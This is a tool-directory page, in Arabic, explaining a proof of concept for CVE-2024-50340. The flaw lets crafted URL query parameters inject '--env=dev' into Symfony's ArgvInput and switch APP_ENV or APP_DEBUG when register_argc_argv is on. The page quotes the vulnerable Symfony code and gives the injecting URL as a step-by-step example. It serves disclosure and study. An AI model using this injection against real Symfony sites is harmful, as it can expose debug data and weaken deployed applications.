Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-50340 — إثبات مفهوم لاستغلال CVE-2024-50340 يوضح حقن متغيرات البيئة في Symfony ArgvInput عبر معاملات استعلام URL مُصممة، مما يتيح التلاعب بـ APP_ENV و APP_DEBUG. | Kitploit
أدوات/GitHubGitHub/nyamort/cve-2024-50340
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubnyamort/cve-2024-50340

CVE-2024-50340

إثبات مفهوم لاستغلال CVE-2024-50340 يوضح حقن متغيرات البيئة في Symfony ArgvInput عبر معاملات استعلام URL مُصممة، مما يتيح التلاعب بـ APP_ENV و APP_DEBUG.

عرض المستودع
12منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-50340 إثبات المفهوم

المتطلبات

يجب تمكين خيار register_argc_argv في ملف تكوين PHP (php.ini). يقوم هذا الإعداد بتحميل وسائط سطر الأوامر ومعلمات الاستعلام إلى $_SERVER['argv']. https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

شرح الكود القابل للاستغلال

يستخدم كود Symfony هذا وسائط الإدخال (ArgvInput) لتحديد قيم بعض متغيرات البيئة، وتحديدًا APP_ENV و APP_DEBUG. فيما يلي الأجزاء ذات الصلة من كود Symfony:

root@kitploit:~
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();

if (isset($this->options['env'])) {
    return $this->input = $input;
}

if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
    putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}

if ($input->hasParameterOption('--no-debug', true)) {
    putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}

يعالج الكود أعلاه الوسائط المقدمة عبر ArgvInput. إذا تم تحديد المعامل --env في argv، فإنه يقوم بتحديث متغير البيئة APP_ENV وفقًا لذلك. وبالمثل، إذا كان --no-debug موجودًا، فإنه يضبط APP_DEBUG على 0.

فئة ArgvInput

تقوم فئة ArgvInput بتهيئة معاملات argv التي تم تمريرها عبر سطر الأوامر أو معلمات الاستعلام أو افتراضيًا تلك الموجودة في $_SERVER['argv']. تعمل الدالة array_shift($argv); على إزالة العنصر الأول من مصفوفة $argv (عادةً اسم التطبيق) وتخزين الوسائط المتبقية في $this->tokens.

root@kitploit:~
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
    $argv ??= $_SERVER['argv'] ?? [];

    // strip the application name
    array_shift($argv);

    $this->tokens = $argv;

    parent::__construct($definition);
}

مثال إثبات المفهوم

باستخدام عنوان URL التالي: http://localhost/?+--env=dev، يمكننا حقن وسيطة --env=dev في $_SERVER['argv']. يتيح لنا ذلك تغيير قيمة APP_ENV إلى dev دون تعديل تكوين التطبيق مباشرة.

  1. عند الوصول إلى http://localhost/?+--env=dev، قد يبدو $_SERVER['argv'] كالتالي:
root@kitploit:~
$_SERVER['argv'] = ["+--env=dev"];
  1. في فئة ArgvInput، بعد عملية array_shift، يصبح $argv كالتالي:
root@kitploit:~
$argv = ["--env=dev"];
  1. سيتعرف ArgvInput بعد ذلك على --env=dev كمعامل صالح وسيقوم بتحديث APP_ENV وفقًا لذلك من خلال طريقة getParameterOption.
تنزيل الأداة